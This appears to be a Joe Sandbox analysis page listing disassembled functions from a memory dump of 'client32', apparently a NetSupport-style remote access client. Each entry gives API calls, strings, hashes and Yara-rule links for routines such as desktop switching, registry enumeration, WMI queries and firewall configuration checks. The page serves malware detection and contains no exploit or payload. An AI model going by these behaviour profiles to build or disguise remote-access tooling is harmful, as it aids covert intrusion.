Opcode ID: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction ID: 546c7fd96e7e5c201e62e0728b24f9c1e86d1f0ab762c79c207aecf2c2ec1ca9
Opcode Fuzzy Hash: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction Fuzzy Hash: A951F375E0525E9BDF11EFA9CC80BBEFBB5EB84308FA44069DC1167284E631A846C742

Function 11102C50 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

GetCurrentThreadId.KERNEL32 ref: 11102C6C
GetThreadDesktop.USER32(00000000), ref: 11102C73
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 11102C83
SetThreadDesktop.USER32(00000000), ref: 11102C90
CloseDesktop.USER32(00000000), ref: 11102CA9
GetLastError.KERNEL32 ref: 11102CB1
CloseDesktop.USER32(00000000), ref: 11102CC7
GetLastError.KERNEL32 ref: 11102CCF

Strings

SetThreadDesktop(%s) ok, xrefs: 11102C9B
SetThreadDesktop(%s) failed, e=%d, xrefs: 11102CB9
OpenDesktop(%s) failed, e=%d, xrefs: 11102CD7

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction ID: e6b285a79aa3308c0e4e86645e8e2c70f1a73097c1882eeb774c19519f5c9288
Opcode Fuzzy Hash: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction Fuzzy Hash: 5D11C679A042167BE7086BB15C89FBFFA2DAFC571CF051438F91786545EE24B40483B6

Function 1115E380 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115E3A8
GetLastError.KERNEL32 ref: 1115E3B5
wsprintfA.USER32 ref: 1115E3C8

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115E40C
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115E419

Strings

GlobalAddAtom failed, e=%d, xrefs: 1115E3C2
NSMReflect, xrefs: 1115E407
m_aProp, xrefs: 1115E3FA
..\ctl32\wndclass.cpp, xrefs: 1115E3D9, 1115E3F5
NSMDropTarget, xrefs: 1115E40E
NSMWndClass, xrefs: 1115E3A0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction ID: 2151ae3f148807adf1b9b51829e7bc1db46dc9b6ec15270657221fcdabbc1952
Opcode Fuzzy Hash: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction Fuzzy Hash: 1B110479A01319ABC720EFE69C84A96F7B4FF2231CB40822EE46543240DA706944CB51

Function 111100D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1111013A
__CxxThrowException@8.LIBCMT ref: 1111014F
GetCurrentThreadId.KERNEL32 ref: 11110166
InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2
LeaveCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111024F

Strings

QueueThreadEvent, xrefs: 111101DB
..\ctl32\Refcount.cpp, xrefs: 111101D6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction ID: 7e481d80fa827a07ee7257280804c30d2ae959ce5d98406b053f8524d928f6e4
Opcode Fuzzy Hash: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction Fuzzy Hash: 6C41C2B5E00216AFDB11CFB98C84BAEFBF5FB48708F00453AE815DB244E675A944CB91

Function 110607F0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1117F505,00000000,00000000,59FD48C0,00000000,?,00000000), ref: 11060874
_malloc.LIBCMT ref: 110608BB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

RegEnumValueA.ADVAPI32(?,?,?,00000000,00000000,00000000,000000FF,?,59FD48C0,00000000), ref: 110608FB
RegEnumValueA.ADVAPI32(?,00000000,?,00000100,00000000,?,000000FF,?), ref: 11060962
_free.LIBCMT ref: 11060974

Strings

maxname < _tsizeof (m_szSectionAndKey), xrefs: 110608A8
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 11060A7A
..\ctl32\Config.cpp, xrefs: 11060883, 110608A3, 11060A75
err == 0, xrefs: 11060888

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: 25c6060889b0532266d56abace0ba5fbfa4960398331d3b945ebf36f5c2f89a7
Instruction ID: c47c75eefe38bee888b154a00c4449ad07b8701d7df13cace45a3bfee881b040
Opcode Fuzzy Hash: 25c6060889b0532266d56abace0ba5fbfa4960398331d3b945ebf36f5c2f89a7
Instruction Fuzzy Hash: E3A1B075A007469FE721CF64C880BABFBF8AF45308F044A5CE99697684E770F508CBA1

Function 1115BA20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,59FD48C0,00000000,?), ref: 1115BA67
CoCreateInstance.OLE32(111C4FEC,00000000,00000017,111C4F1C,?), ref: 1115BA87
wsprintfW.USER32 ref: 1115BAA7
SysAllocString.OLEAUT32(?), ref: 1115BAB3
wsprintfW.USER32 ref: 1115BB67
SysFreeString.OLEAUT32(?), ref: 1115BC08

Strings

root\CIMV2, xrefs: 1115BAA1
WQL, xrefs: 1115BB80
SELECT * FROM %s, xrefs: 1115BB61

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction ID: 667e066b75244b2782fe63ff2368f72f8a2c2363a2cb4bcdb988270c73b3585f
Opcode Fuzzy Hash: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction Fuzzy Hash: 7351B071B00219ABC764CF69CC84F9AF7B9FB8A714F1042A8E429E7240DA70AE40CF55

Function 11145440 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145330: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
Part of subcall function 11145330: RegCloseKey.ADVAPI32(?), ref: 11145404

_memset.LIBCMT ref: 11145485
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
FreeLibrary.KERNEL32(00000000), ref: 111454EF
GetSystemDefaultLangID.KERNEL32 ref: 111454FA

Strings

GetUserDefaultUILanguage, xrefs: 111454D1
kernel32.dll, xrefs: 111454B0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction ID: 76ed8f4553af2ae4cc76032582d3c5cf4b75be54885724a55a46303ac3459834
Opcode Fuzzy Hash: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction Fuzzy Hash: 07313971E002299BD761DF74D984BE9F7B6EB08729F540164E42DC7A80D7344984CF91

Function 11015010 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110150CA
_memset.LIBCMT ref: 1101510E
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015148

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101504B
%012d, xrefs: 110150C4
PackedCatalogItem, xrefs: 11015132
NSLSP, xrefs: 11015158

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction ID: d38f3a4d66d5a90606c53f5b1b84405609ec5bb3b13ff7cea0d7775b25b40b12
Opcode Fuzzy Hash: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction Fuzzy Hash: C6419D71D02269AFEB11DB64CC90BDEF7B8EB44314F0445E9E819A7281EB35AB48CF50

Function 1100FDC0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FDED
std::_Lockit::_Lockit.LIBCPMT ref: 1100FE10
std::bad_exception::bad_exception.LIBCMT ref: 1100FE94
__CxxThrowException@8.LIBCMT ref: 1100FEA2
std::_Lockit::_Lockit.LIBCPMT ref: 1100FEB5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100FECF

Strings

bad cast, xrefs: 1100FE8C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction ID: 563b417412927bd42dfe2d2268ce551a617b01fe8fe711e168dc892134580a96
Opcode Fuzzy Hash: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction Fuzzy Hash: 5731E975D002669FD711DF94C890BAEF7B8EB04B68F10426DD921A7291DB717D40CB92

Function 111386B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111386DA
GetTickCount.KERNEL32 ref: 111386E1

Strings

Client, xrefs: 11138705
DoICFConfig() OK, xrefs: 11138786
AutoICFConfig, xrefs: 11138700
e;, xrefs: 1113873F, 11138765, 11138777
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 1113879C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK$e;
API String ID: 536389180-3279045114
Opcode ID: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction ID: a0019f70d98f4d819e239f855ef0bc8db2e19db1671bc02c3e0d3b7677daedde
Opcode Fuzzy Hash: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction Fuzzy Hash: E4210578A247AB4AFB039B759ED4755FB83578073EF450278DE10862CCDB74A458CB42

Function 11144BD0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\util.cpp, xrefs: 11144BF7, 11144C99
FALSE || !"wrong nsmdir", xrefs: 11144C9E
nsmdir < GP_MAX, xrefs: 11144BFC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
